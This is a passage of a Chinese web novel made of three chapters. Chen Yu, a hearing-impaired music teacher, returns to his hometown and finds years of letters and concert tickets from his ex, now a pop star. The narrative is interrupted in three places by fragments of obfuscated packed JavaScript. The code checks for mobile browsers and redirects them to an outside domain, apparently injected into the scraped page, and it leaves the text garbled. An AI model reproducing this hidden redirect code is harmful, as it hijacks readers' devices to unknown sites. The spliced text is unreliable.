《分手后前男友成了顶流》 1. 第 1 章 [现在是北京时间零点零五分,欢迎大家收听深夜广播。 我是妮妮,我在榆城向你问好。 据气象台预测,台风“枇杷”将以每小时15-20的速度向偏西方向移动……受强冷空气影响,气温持续下降并伴有大雨。] 广播电台的主持人刚说完,陈屿家里的小木窗就传来“啪”的一声。 他现在住在老城区里面的出租房,充满岁月痕迹的小木窗难以抵挡台风天气,被大风刮得“啪啪”作响,摇摇欲坠,陈屿担心小木窗会掉下去砸到路人,只好用绳子将破旧的小木窗拴住。 白天的时候还感觉有点热,傍晚下班就能明显地感觉到天气开始降温,今天晚上都不用开风扇了,凉飕飕的。 [受冷空气影响,明天最低气温将会跌到十度至二十度,要注意添衣保暖,出行记得带伞。] 陈屿仔细地查了下天气预报,气象台预计今夜持续到明天傍晚会有中雨到暴雨,他无奈地轻叹一声:“下雨啊。” 他最讨厌下雨天了。 在他的印象里,雨天总是伴随着不好的事情发生。 撕心裂肺的哭喊声仿佛在他耳边响起,零零碎碎的片段在他脑海里一闪而过。 陈屿揉了揉眉心,把明天要出行的雨伞和外套都准备好之后,他又躺回了他的小床上,继续听深夜电台。 [今天我们要聊的话题是:关于初恋的美好与遗憾。 在情窦初开的年纪,我们都曾遇到过怦然心动的人,相见时会脸红,想念时会难过,我们或许真心相爱过,可最终的结局好像都是遗憾收场。 我们总会在某个深夜时想起那个让你伤感又难以忘怀的人。 相见不如怀念,我们永远别再去打扰那个曾经让你心动的人。 毕竟再相见时,早已物是人非。 或许你怀念的只是初恋的那种感觉,而不是当年的那个人。 人终会被年少不可得之物困其一生。 接下来,带来的是一首王菲的《匆匆那年》。] 听到这个话题,陈屿就开始头疼,他不喜欢“初恋”这个话题。 把助听器摘下来放在枕边,把床头的灯关掉,让整个房间陷入黑暗。 世界变得安静下来。 有什么好遗憾的呢? 谁会一直停留在过去的回忆里走不出来? 陈屿自嘲地笑了笑。 半梦半醒的时候,冷空气从窗户徐徐吹进来,他裹紧了身上的被子。 又是一年秋天,再过段时间该迎接新的一年了。 第二天清晨,大雨滂沱。 陈屿在家里等了许久仍然没收到停课的通知,只能硬着头皮出门了。 在家时只是感觉空气有点凉飕飕的,出了门才发现外面的气温比室内还要冷几度。 下雨出行不便,一路上看不见几辆电动车的身影,反而塞满了小汽车。 通往学校的路上,喇叭声此起彼伏,不停地催促着前方拥堵的车辆。 大雨下了一夜,道路上的积水有点深。 陈屿打着雨伞寸步难行,这一带的排水做得不是很好,每逢下雨都要淹,甚至是没过脚踝,他的鞋子早已湿透,连裤脚都湿了小半截。 最后还是被路过的车辆溅了一身雨水,狼狈地回到了办公室。 隔壁的工位的夏老师看见他的惨状,忍不住调侃道:“陈老师,我就说你得考个驾照。” 陈屿把外套脱下来,接过她递过来的纸巾擦了擦脸上的雨水,摇头笑道:“如果我考了驾照,我现在还在校门口堵着呢,再说了我家这么近,哪里用得着开车啊。” 夏老师刚想开玩笑说他怎么会把头发都弄湿了,目光扫过他的脸时,有些诧异:“陈老师你今天怎么回事啊,黑眼圈这么重,昨晚通宵打游戏了?” “我对游戏不敢兴趣。”陈屿想来想去也没找到理由,只好干笑一声:“是雨声太大了,害我睡不着觉。” “?”夏老师疑惑地看着他:“你晚上睡觉不摘助听器的吗?” “那个啊...”陈屿轻咳一声,笑容显得很僵硬:“你说得对,我说怎么那么吵呢,原来是我忘记摘助听器了。” 夏老师笑道:“你快去换身衣服吧,昨天晚上就开始降温了,你的衣服都湿了,风一吹可能就感冒了。” 陈屿顿时想要去捂住她的乌鸦嘴。 还好在前段时间的雨季时,他在办公室备了一套干净的衣服,就想着如果哪天上班遇到雨天淋成了落汤鸡,能有套干净的衣服备用,没想到那会的雨季都没用上,今天下暴雨倒是用上了。 只是可惜他放在储物箱的这套衣服是短款。 今天温度骤降,冷空气袭来,他的外套被雨淋得都可以拧出水来了,办公室也没有吹风机什么的,没办法段时间内吹干,只能硬抗了。 幸好是陈屿的工位在角落,因为下大雨,办公室没有开窗,虽然很闷,但是很暖和。 上课的铃声响起,他刚踏出办公室的大门就被冷得瑟瑟发抖,端着保温杯喝了好几口热茶才感觉自己缓了过来。 陈屿教的是六年级的学生,这个时期的学生让他很头疼,像竖笛、鼓这种小学教材里的乐器他们根本不感兴趣,不肯学,也不愿意学唱教材上的歌,甚至还吐槽他: “老师,你过时啦,我们现在都不爱听这种歌。” 陈屿无奈,只好教他们唱一些流行音乐。 “老师,我们今天有想唱的歌!” 陈屿刚走进课室,就有同学主动开口要学唱歌,他自然是应允的,毕竟不用头疼这节课要教他们什么内容。 要是领导问起来,他就美誉其名:音乐拓展。 “老师你答应了?” 陈屿点了点头,只要学校不找他的麻烦就好,“我们可以适当地学习一下流行音乐,但是下节课我们就得学习吹笛子了哦。” “太好啦!我就说老师肯定会答应我们的!” “老师,你看微博了吗?” “易深昨天晚上在微博发布了新歌欸!” “是不是那首冬日的告白?” “老师我们要学唱这首歌!” “易深”这个名字让陈屿整个人愣在了讲台上,他有片刻失神,茫然地看着班里的学生。 他已经很久很久没在别人嘴里听到这个名字了。 一瞬间,过去的须臾数年,一点一点浮现在他的脑海里。 [你好,我叫易深,你叫什么名字?] [陈屿。] [喜欢你。] “老师?!” 陈屿恍惚之间失手打翻了保温杯,“嘭”的一声,将他从回忆里拉了回来,他慌忙捡起台上的教材,免得被热水浸湿。 看着课室里那一双双盯着他的眼睛。 有一瞬间,他仿佛失去了所有声音。 陈屿勉强地笑了笑:“可是老师还没听过他的新歌,不知道怎么唱欸,不如我们下节课再唱好不好?” “老师你都跟不上我们5G冲浪啦!” 陈屿颤抖着手,一遍遍擦拭着教材上沾到的水珠,轻轻笑道:“是啊,老师最近都没上网,等老师今天晚上回去研究下,我们下节音乐课再来唱好不好?” 直到放学的铃声响起,他悄悄地松了口气。 回家的路上,陈屿心神不宁,脑海里总是有意无意地浮现起易深的身影。 他懊恼地皱起眉头,思绪陷入极度混乱之中,无数回忆穿插在他的脑海里,让他慌了神。 易深这个名字,总是轻而易举地在他内心里掀起巨浪,让他无法平静下来。 陈屿心里装着许多事,没注意到前面道路的小水坑,一脚踩空差点摔倒在地。 幸运的是他没有崴脚,不幸的是他的助听器掉进了水里。 陈屿连忙从水坑里捞出他的助听器,慌慌张张地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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为了避免再有这样糟糕的事情发生,陈屿还是用之前的参数下单了新的助听器作为备用,同时趁明天休息他去连城的维修站点看看能不能拯救一下。 买车票的时候,陈屿一直很犹豫。 他已经有十年没有回过连城了。 阴雨的天气,让陈屿的心情也变得糟糕起来。 他订好了明天的车票,躺在床上翻来覆去睡不着。 夜深人静的时候,他总会想起一些陈年旧事。 想起今天上课时,学生们让他教易深的新歌,陈屿感到惆怅。 答应了孩子们的事不能食言,那时他心里太慌张,没有想好措辞怎么拒绝就答应了下来。 他打开□□音乐,榜一的热门歌曲就是孩子们说的那首新歌。 点开那首歌,把声音放到最大,也只能听到一点微弱的声音。 怕影响邻居休息,他干脆退出了软件。 想了想,他还是把微博重新下载了回来,用现在的手机号注册了一个新的微博账号。 点开微博广场,点击搜索,刚想输入易深的名字就看见下方的微博热门词条里,关于易深的话题占了好几个。 #易深新歌好听 #易深又在想念他的前任吗 #易深深夜emo #冬日的告白 #情歌王再添佳绩 陈屿看着屏幕上“易深”这两个字,蓦地红了眼眶,无论在哪里,什么时候看到易深的名字,他的心里总能泛起一阵涟漪。弦。 他看着那条“易深又在想念他的前任吗”,倏地愣在了那里。 易深的前任? 是他还是别人? 易深在他们分开的这些年有过别人吗? 陈屿最终还是没敢点进去。 他关掉手机屏幕,让自己陷入黑暗之中。 泪水悄然滑落,浸湿了枕头。 这是他们分开的第十年。 2. 第 2 章 [女士们先生们,下一站是川临港连城,请要下车的旅客检查好自己的行李物品,准备下车。] 陈屿的思绪飘得很远,直到站台的广播提醒了好几遍,他才慢慢回过神来。 从坐上高铁的那一刻开始,他心里就有一种莫名的烦躁,充满了不安。 距离连城越来越近,他的心情就越来越差,焦躁的感觉将他包裹得密不透风,快要窒息了。 或许是近乡情怯,或许是曾经的连城在他心里留下难以磨灭的痕迹,又或许是这座城市有他不想再遇见的人。 无论是什么原因,当他再次踏上这片土地时,他的心情就变得格外暴躁。 车厢里坐满了旅客,空调的冷气扩散在车厢里的每一个角落,并不会让人觉得很闷,可他还是感觉快喘不过气来了。 从他订下车票的那一刻开始,他的眼皮就一直在跳,他总觉得这次出行,或许会有什么他意想不到的事情发生,让他总是心神不宁。 仔细数了数,他已经有十年没回过连城了。 陈屿看着玻璃镜面里的倒影,深吸了一口气,刚打算摁下心头纷繁的情绪,就在此时动车进入了隧道,刺眼的隧道灯光让他难受地眨了眨眼睛。 突然,一张帅气又明艳的脸映入他的眼帘。 陈屿顿时睁大了双眼,呆呆地看着窗外的LED屏幕。 空气仿佛滞留在这一瞬,时间跟着静止,整个世界好像变得安静下来。 接着,悸动的心跳声萦绕耳边,如雷贯耳。 “扑通扑通——” 直到动车穿过隧道,陈屿才从恍惚中回过神来。 他忽然惊觉,哪怕过了十年,无论易深用哪种方式出现,都能轻轻松松撩拨他的心弦。 “刚才那是易深吧?” “嗯,早就听群里的姐姐说过,通过连城高铁的隧道都是易深的LED大屏。” “连城是易深的家乡,这次开演唱会,连城给足了排面,听说整个城市都贴满了易深演唱会的广告牌。” “官方还说今晚会有无人机秀和灯光秀。” “太期待了!!” “幸好这次抢到的票,明天还能听到易深的新歌,演唱会首唱!” “这次的票特别难抢,听说内场的票黄牛都卖到上万了。” “易深”和“演唱会”这几个字陆陆续续传入陈屿的耳中。 他的大脑瞬间宕机了,怪不得他的眼皮一直在跳,怪不得这一路上他总是觉得心里不安。 在这十年里,陈屿不是没有想过,他们有朝一日会重逢。 但重逢之后呢? 他是要忏悔,还是要道歉,还是形容陌路? 他不知道该用什么样的心情面对易深。 欠易深的那句对不起,他该怎么说出口? 快到连城的时候,关于演唱会的话题频频传入耳中。 这时陈屿才发现,周围坐着的许多年轻人或许都是来连城看易深演唱会的。 如果...他事先知道易深会在连城开演唱会,或许他就不会来了。 演唱会...陈屿倚在窗边,脑海中闪过几个画面。 年少时的他和易深放学后在学校的操场上坐着谈心,直到所有学生都放学回了家,偌大的操场只剩下他们两个人。 他们在谈音乐,谈遥不可及的梦想,谈虚无缥缈的未来。 他们相约,以后会一起开演唱会,站在世界上最大的舞台。 后来,他失约了。 陈屿的心脏顿时传来一阵密密麻麻的疼痛。 所以在许多年后,易深成功站在了舞台上举办他的个人演唱会。 而他,悄无声息地消失在人群里。 一种喘不上气的窒息感让陈屿感到很无力。 既然十年来都没联系,现在还有联系的必要吗? 易深也不一定想见他。 陈屿长舒一口气,忍不住打开手机开始查阅跟易深有关的资讯。 这么多年过去,易深的发展速度比陈屿想象中的还要快,还要好。 他创作的歌曲传唱度高,甚至是一些KTV必点的曲目,奖项拿到手软。 他现在已经是娱乐圈里的“大前辈”了。 他20岁那年出道,至今8年,坐稳顶流的位置,红遍大江南北。 这些年陈屿也不是没有在其他人嘴里听到过他的名字,甚至是他教的六年级的小学生,都知道音乐圈有易深这个人的存在。 时至今日,易深已经是娱乐圈里炙手可热的大明星了。 他们之间的距离,遥不可及。 陈屿自嘲地笑了笑,不管是对当年不辞而别的道歉,还是对他完成梦想的祝贺,这句“对不起”和“恭喜你”,恐怕他这辈子都没机会说出口了。 [亲爱的旅客,列车已到达连城站,请携带好您的随身物品下车。] 到站的播报声响起,车厢里人头攒动,陈屿跟着人流下了车。 昨天下了一夜的雨,今天的天气很凉快。 重回故里,陈屿一脸茫然地站在市区中心的购物广场,看着如今繁华的大都市,他几乎认不出来这里是连城。 十年前的连城只是一片老破小的城区,并不发达,眼前的这座购物广场在当时只是一家大型超市,周围有着几栋矮矮小小的写字楼,跟现在人山人海的购物广场和周围几十层楼高的大厦没法比。 那时候的连城别说能有体育馆开演唱会了,连电影院都没有,一座偏远地区的小县城。 直到后来,连城受到国家扶持,开始搭建高铁、机场,经济也随之带动起来。 后来,当他再次听别人提起连城的时候,连城已经变成了热门的旅游城市,这里被称为美食之都,吸引全国的游客前来打卡。 当时陈屿的印象里还是那座老破小城市,觉得是其他人夸大了事实,直到他十年后的今天回到他的家乡,让他这个土生土长的连城人感到震撼。 现在的连城在国家政策的扶持下,成功跻身一线城市,今非昔比。 怪不得他的同事们在听到他说是连城人的时候会好奇他怎么不回自己的家乡发展,反而跑到榆城这个相对落后的小县城。 陈屿看着购物广场中心的电子大屏有些沉默,上面正轮播着易深演唱会的广告。 他忽然想起在车厢里听到易深粉丝们的那几句谈话,连城是易深的家乡,而且连城的旅游大使也是易深,所以在连城得知易深要回来开演唱会的时候,恨不得敲锣打鼓放鞭炮,不仅官媒在平台上连发数条动态庆贺和宣传,还特意在大街小巷贴满了易深的海报,欢迎粉丝们来打卡。 所以陈屿在高铁站时就看到了关于易深演唱会的资料,工作人员非常贴心地做好了攻略,告诉粉丝们路线的安排和酒店信息。 出了高铁站之后,他就看到了许多易深的海报。 他还定睛看了好一会,有些沉默,有些愤愤不平。 岁月好像从未在易深身上留下任何痕迹,连时光都格外偏爱他。 他站在汹涌的人潮里,看着大屏幕的那张脸,心里五味杂陈,随后深吸一口气,转身离开。 时间不早了,他得去找厂家的维修站点。 连城许多地方与他记忆里的路线并不重合,甚至是拆了重建,陈屿在左拐右拐绕了好几条小巷之后终于找到了客服说的那个维修站点,好不容易找到了地方,结果却被告知他的助听器里面有个零件因为被雨水浸泡腐蚀了需要更换,但是他们这里没有这个零件,需要从其他地方调货。 陈屿苦着脸,问:“那需要多久?” 工作人员:“快的话明天,慢的话周一,你能等吗?” 陈屿点点头,比他想象中要快多了,他还以为会让他等个三五天呢。 糟糕的是,他原本以为今天就能回榆城,所以他并没有带什么换洗的衣服,今晚还要找个落脚点休息。 陈屿站在路口,看着那趟通往丰南路的大巴车,长舒一口气。 有些事情真的很奇妙。 他的助听器坏了,最近的维修站点居然是连城,而恰巧易深要在连城开演唱会。 因为助听器里面的零件坏了,他需要多待一天,而更恰巧的是他把老家的钥匙带上了。 陈屿到购物广场买了礼品和水果,怀着忐忑的心情坐上了车,也不知道王婶搬走了没有。 时至今日,连城一直在变,只有这趟公交车的路线没变。 看着沿途的风景,到处都是熟悉的影子,却又充满了陌生的味道,原本荒凉的地段,现在也变成了繁华的商业街,不见昔日的影子。 陈屿靠在窗边吹风。 街上的梧桐叶早已泛黄,落了满地。 下午四点的阳光洒下来,温暖但不刺眼,充满着深秋的气息。 他在旧城区的站点下了车,街道口的那棵大榕树还在。 老城区有被翻修过的痕迹,那泛黄又斑驳的墙面被重新刷上了白漆,原本是一楼的客厅,如今变成了各种门店。 从楼下往上看,还能看到家家户户阳台上生锈的防护网,还有探出阳台的那抹绿意。 食物的香味弥漫在空气中,有卖各种特色小吃的,有卖衣服鞋子的,有开宠物医院的,还有旅店,可谓是衣食住行都能满足。 路过王婶家门口时,没看到她的身影,陈屿只好先回了家。 家里的门锁经过数年风吹雨打都快生锈了,他花了不少时间才成功进了家门,估计再过几个月,这锁就彻底开不着了,看来他还得让人来换把锁。 房子太久没有人住,里面落满了灰尘,陈屿捂着口鼻进了门,也能感觉到扑面而来的尘土颗粒,还有一股潮湿的霉味。 陈屿随便打扫了下卫生就出门了,他已经一天没吃过东西了,饿得两眼发黑。 回来的路上他还担心会找不到吃的,原本都打算路过小卖部买个泡面应付一下就算了,现在看来,他只要往楼下转两圈,就能吃到撑了。 邻居家的王婶做的是麻辣烫的生意,陈屿站在门口看了两眼,这么多年没见,王婶好像老了许多。 陈屿带着礼品和水果趁着王婶店里没什么生意的时候,跟她打了一声招呼:“王婶。” “哎。”王婶应了声,回头盯着他半晌,迟疑道:“你是小屿吧?” 陈屿笑道:“王婶,您还记得我呢?” “哎哟,真的是你啊,你怎么突然回来了?”王婶连忙往身上的围裙擦了擦手,惊喜地笑了笑:“我刚才路过你们家的时候就听见里面有动静,我还想着是谁回来了呢,原来是你啊。” 陈屿点点头,把手上的东西递给她:“来连城办点事,顺便回来看看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322664|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 王婶:“哎哟,回家就回家怎么还送礼啊。” 陈屿开玩笑地说了句:“以前要不是有王婶给我一口饭吃,说不定都活不到现在了,就是路过随便买的一点小心意,您就收下吧。” 王婶才不信他说是随手买的,里面的烟酒都不便宜,那水果都是高级礼盒,肯定是花了不少钱的。 拗不过陈屿,最终王婶还是收下了,“你还没吃饭吧?婶给你做碗汤面吧?” 陈屿不禁笑道:“那太好了,我刚打扫完卫生,都快饿死了,谢谢您。” 王婶好久没见过他了,热情地拉着他闲聊家常,“你现在在哪里工作啊?” 陈屿:“我在榆城。” 王婶惊讶地看着他:“怎么是榆城,我还以为你是去了大城市发展。” 陈屿笑道:“单位给我分配的。” 王婶用一种可怜的目光看着他,大概是以为他得罪了领导才会被分配到榆城这种小地方。 陈屿只是笑了笑,也没多做解释。 王婶指了指他耳朵上佩戴的那台助听器,关心道:“你的耳朵好点了吗?” 陈屿脸上的笑容淡了些,低头吃了口面,含糊地说道:“好很多了。” 王婶点了点头:“我们连城这几年发展得很好,就连我们这老城区的房价都翻了好几倍,你这次回来打算留下来发展吗?” 陈屿从巷口那棵榕树一路走来,看着家家户户如今的发展,也在考虑这个问题,他也可以效仿邻居们的做法,把一楼改造成一家小店,做点生意。 “嗯...还在考虑呢。” 趁着这会天色还早,还没什么客人,王婶便多说了几句:“榆城跟我们十年前的连城时一样,太落后了,你还不如回来连城发展,现在连城发展得很好,年轻人的就业机会也多,你看我们这,虽然是老城区,但这一带都是商圈,不管是本地人还是外地的游客都喜欢到我们这来逛逛,你也可以像我们这些街坊一样,做点小本生意。” 王婶为了说服他还跟他说了附近几个邻居的例子,例如街头的宁叔是最早期开始做生意的,赚得盆满钵满,现在一家都在新城区买了房。 例如做餐饮生意的某个邻居,如今都开几家分店了。 还有…… 陈屿其实没有很强烈的赚钱欲望,他只想着把家里的一楼改造一下,开个咖啡店或者奶茶店什么的。反正也不用交房租,就给点水电费,平日里睡到自然醒,高兴时就开门接客,不高兴时就关门躺平。 很符合他目前想要的养老状态。 奈何他的身上的钱不够啊,光是装修一下一楼的费用就能掏空他的家底了,更别说他还要买做生意的材料,而且他也不能完全不挣钱,不然连自己的生活都过不下去。 所以陈屿只是笑了笑:“以后再说吧。” 王婶:“你们家的地段也好,有不少想做生意的跟我打听你们家有没有出租的意思,你要是想租出去挣钱的话可以给我留个电话。” 陈屿摇了摇头:“还是算了吧,说不定我哪天就改变主意回来创业了。” 王婶笑道:“也行,随你。” 吃碗面陈屿打算回家休息一下,走的时候陈屿把他的电话号码给了王婶,当年走得太急,他的手机坏了还没来得及重新再买,就匆匆离开了连城,所以他跟连城的所有人都处于断联的状态,直到这次回来,他想了想还是给王婶留个联系方式,方便以后有事可以联系一下。 王婶结果他递过来的那张小纸条忽然想起了什么,连忙拦住了他:“对了,你是不是没跟高中的同学联系了?你离开的那几年,有个据说是你的高中同学找了你很久。” 陈屿瞬间愣了愣。 王婶用手比划了下,“比你高一个头,很瘦,长得还挺帅的,跟咱们连城出的那个大明星,叫什么来着……?” 陈屿屏住呼吸,整颗心瞬间提到嗓子眼,艰涩道:“易深?” “对对对,是他。”王婶拍了拍脑门,继续说道:“跟他长得可像了,在你搬家离开的那几年里,他经常过来这边找你,每次一等就是等好几个小时,不过这几年没怎么见他来过了。” 陈屿脸上的血色瞬间褪去,垂在两侧的手微微颤抖。 王婶看他这副模样有些担忧:“有一次下暴雨他还在你家门口等着,我实在看不过去就喊他进来坐坐,他跟我说他是你的同学。” 陈屿的喉咙像被什么堵住了一样,口腔里蔓延着苦涩,心里止不住地泛酸,哽咽道:“他还说了什么?” 时间太久远,王婶也不太记得了,“当时他向我打探你们家的消息,但你也知道你们家那时候的情况,我实在是不好多说什么,也没敢让他知道那么多。那天之后他就很少来了,这几年我都没见过他。” 陈屿像失去了所有力气,什么话都说不出口。 王婶见他失魂落魄的样子,小声地问了句:“要是他下次来的话,我把你的电话号码告诉他?” 陈屿勉强地笑了笑:“不用了,他应该……” 那句“不会再来”还未说话,王婶打断了他的话,坚定地开口:“他会来的。” 陈屿怔了怔,笑道:“如果他还来的话,那就拜托王婶让他联系我吧。” 王婶不知道的是,以易深现在的身份... 他不可能再回来这里了。 3. 第 3 章 随着夜幕降临,小巷里的人渐渐多了起来。 王婶忙着招呼客人,陈屿稍微收拾了下就离开了。 他站在自己家门口,百感交集地看着眼前这栋老房子。 这栋房子留给他的只有数不尽的痛苦和眼泪。 如果不将房子重新装修一遍,不把那些残存的痕迹清理干净,他恐怕没有勇气一直住在这里。 哪怕他住在榆城,每当雨夜雷声响起,他总会被噩梦缠身,陷入梦魇之中。 他按照王婶所说的方向,站在墙边的位置,静静站了好一会。 易深当年站在这里等他的时候,在想什么? 是在想他为什么要放弃他们的梦想不告而别,还是在想自己欺骗了他。 陈屿的胸口好像堵了一块棉花,密不透风,闷得他难以喘息。 他从口袋里翻出手机,颤抖着手输入一串熟悉的号码,却迟迟不敢按下去。 他想把一切告诉易深,想对他说那句欠了十年的“对不起”。 可时境过迁,他和易深终究是错过了。 陈屿踢着脚下的小石头,心里的愁绪快要溢出来。 就在他心事重重地打开家门时,一道声音从身后叫住了他。 “陈屿,陈先生?” 陈屿回身一看,是邮政的快递小哥,他点了点头应下:“是我,有事吗?” “太好了。”邮政小哥把一封信递给了他,既惊喜又抱怨地看着他说道:“没想到真的是你啊,我给你家送信都十年了,还是第一次把信送到你本人手上。” 陈屿目光微微一顿,错愕地开口:“十年?我的信?” 邮政小哥指了指他家门口那个老式的邮箱,说道:“你有空就清理一下你家那邮箱吧,里面早就被我塞满了,全都是给你的信件,你们家连窗户都锁着,我也不知道能塞到哪里去,那信箱再不清理,我下回都都不知道往哪里塞了。” 陈屿此时无暇顾及快递员所说的信箱,而是看着信封上那几行熟悉的字体,不敢置信地愣在了原地。 邮政小哥临走前还嘀咕了句:“也不知道是谁这么坚持不懈地给你寄信,都十年了也没放弃。” 陈屿攥着信件的手用力到发白,他低着头,红着眼眶,眼泪滑落脸颊,落在信纸上,将那黑色的字体晕开。 他迫不及待地想要拆开那封信,可动作却十分轻柔,他小心翼翼地取出信纸里面的东西,没想到会是一张演唱会的门票。 连城场,A2区2排28号。 2排28号,2月28日,是他的生日。 想起刚才邮政小哥说的话,陈屿胡乱地擦去脸上的泪水,翻箱倒柜找了很久才找到那条开邮箱的钥匙,看着那个生锈破旧的铁箱子,他心跳如鼓,紧张得连手指头都一直在颤抖。 仿佛这把钥匙打开的不是这个破旧的邮箱,而是这十年的答案。 他深吸一口气,把钥匙插了进去。 打开邮箱的那一瞬间,里面塞满的信件“哗啦啦”地全部掉了下来。 每一封信纸上都是陈屿熟悉的字体。 酸涩的感觉填满了他整颗心脏。 他蹲在地上,把那一封封信捡起来,小心翼翼地抱在怀里。 他一口气把这十年的信件全部拆开,才发现易深给他寄了很多张演唱会的门票。 他刚离开连城那几年,易深给他写了很多信,或许是一直没有得到回信,攒下太多的失望,以至于后来他寄过来的全都是演唱会的门票。 易深也从一开始的质问,到后来只剩下妥协: [为什么连一句道别的话都不留给我?] [我们刚迈出梦想的第一步,你怎么就把我一个人丢下了?] [我们之间不仅仅只有音乐,你不要我了吗?] [我只想知道你这几年过得好不好。] [事情解决了吗?] [或者说,我能帮你做点什么吗?] [小屿,你应该相信我。] [就算发生什么事情,我都可以帮你解决。] [我想你了。] 易深的信越写越短,最后只剩下一张张的演唱会门票。 2排28号。 是易深专门留给他的位置。 一种说不上来的酸痛涌上心头。 易深...还在等他吗? 陈屿这台助听器是很老的产品,幸好能连上蓝牙,他打开音乐软件,第一次搜索关于易深的作品。 列表里第一首就是他的新歌,《冬日的告白》。 [心跳定格在呼吸之间,那年冬天的雪……街头的那间咖啡店,是我们相爱的证明。] 陈屿的神情有些恍惚,他想起易深所说的那家咖啡店。 是在连城高中附近的一家很小的咖啡店,那年的冬天下着很大的雪…… 他还记得唇舌之间,焦糖拿铁的醇香。 这一天夜里,陈屿彻底失眠。 列表里易深的歌循环播放了一遍又一遍。 时至今日陈屿才发现,原来易深这些年给他写了那么多首歌。 老房子的隔音并不好,巷子里嘈杂的声音持续到深夜。 陈屿睡不着,起来收拾以前来不及搬走的物件,翻到很多跟易深有关的东西。 和易深一起创作的歌曲草稿,和易深一起做的拼图,易深送给他的项链等等。 他看着那条项链,蓦地红了眼眶。 那是毕业时,易深送给他的礼物。 他一直以为自己弄丢了,没想到是留在了老家。 他把项链重新戴上,继续翻找着房子里的一切,直到天亮。 一宿没睡的他头疼得要命,在附近随便吃了个早餐,然后坐车去了趟墓园。 陈屿没有带任何祭品,他拒绝了门口贩卖香火的老板,只身一人走进了园区。 今天不是什么特别的日子,园区很冷清。 陈屿其实不太记得陈康盛的墓在哪里了,毕竟当年他也是浑浑噩噩地跟着王婶来过一次而已。 当年陈康盛好赌又酗酒,欠下不少赌债和酒钱,逢人就借钱,亲戚朋友避之不及,在他生前就断掉了所有关系,死后也没人愿意来送他一程。 谁也不想再跟这样的烂人扯上关系,甚至还要觉得陈康盛晦气。 如果不是因为墓园的工作人员会清理杂草,想必陈康盛的墓坟头草都长三米高了。 陈屿冷漠地看着陈康盛墓碑上的那张黑白照片,厌恶地开口: “妈妈离开你之后过得很幸福,她的丈夫温柔体贴,待她极好,没有酗酒家暴的恶习。” “妈妈在家不用做家务,也不用为生计发愁,她现在的丈夫既能照顾家庭,又能赚钱,跟你这个废物完全不一样。” “他们夫妻恩爱,还有个漂亮乖巧的女儿。” “这是我最后一次来看你了。” “我也不是为了来给你扫墓的,我只是想告诉你妈妈过得很好,在你毁了我人生之后,我现在过得也不错。” “我们在摆脱了你这个烂人之后,我们都能喘口气继续生活,甚至过得一天比一天好。” 陈屿闭上双眼,哪怕十年过去,在想起陈康盛对他一次次家暴时,还是心悸不已。 他这辈子都难以摆脱陈康盛留给他的阴影。 离开墓园后,陈屿打车去了市中心的体育馆。 他攥着那张演唱会门票,紧张地跟着人潮走进场馆,他刚坐在2排28号的位置上,就引起了骚动。 周围粉丝的目光不约而同地落在了他的身上,窃窃私语。 “他是不是坐错了呀?” “那个位置是2排28号对吧?” “是蹭座的还是真的是票主本人啊?” 粉丝的话陆陆续续传入陈屿的耳中,他如坐针毡。 他不知道原来这个座位还有背后这么多的故事,落在他身上的目光带着猜忌和不满,让陈屿想要逃离此地。 他只是想着易深给他寄了这么多演唱会的门票,是希望自己会来看他的演唱会。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322665|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可他忽略了易深的演唱会场场爆满,可他现在坐的这个位置从不出售,是易深单独寄给他的。 如果每一场的演唱会,这个位置都空着,粉丝不可能不知道这个细节。 一阵闪光灯亮起,陈屿如芒在背,他是不是给易深惹麻烦了? 就在他犹豫要不要离开的时候,坐在旁边29号座位上的粉丝有些激动地问道:“这位小哥哥,你也是易深的粉丝吗?” 陈屿迟疑地点了点头,17岁的他确实是易深的粉丝,28岁的他...他也不知道。 那位粉丝好奇地问他:“你是不是坐错了位置?” 毕竟2排28号可以说是最佳的观演位置,曾经就有粉丝想要蹭座位被发现,还被挂上网群嘲。 易深家的粉丝谁不知道这个座位有特殊的含义。 感觉到周围复杂的目光,陈屿只好把那张票拿出来让旁边的粉丝核对。 旁边的粉丝惊讶地看了他一眼,随后对围在身边的几个粉丝点了点头:“确实是2排28号。” “那个...小哥哥我能问个问题吗?你跟易深,你们认识吗?” 陈屿沉默了下,拉低了帽檐,淡淡开口:“我们是同学。” 周围有人忍不住问了句:“只是同学吗?” 她的话音刚落,一旁的人激动道:“你就是哥哥想找的那个人吗?” 陈屿低着头,表现出一副很为难的样子,说道:“我不知道你们在说什么,不好意思。” 他不想跟任何人提起易深,他也知道不能和任何人提起易深。 在粉丝们还想问点什么的时候,演唱会开始了,其他粉丝也终于把目光放回了台上。 陈屿松了口气,幸好是他戴了帽子和口罩,加上场馆内的灯光昏暗,其他粉丝应该看不清他的脸。 虽然如此,但他仍然能感到那些时不时落在他身上的目光。 陈屿懊恼中又带着一丝可笑的期待。 如果粉丝将这件事发到网上,易深...会在知道他来过吗? 场馆里的灯光逐渐变得昏暗,一束冷白的聚光灯落在舞台中心。 易深的脸出现在大荧幕上。 粉丝的尖叫声络绎不绝,陈屿怔怔地看着大屏幕。 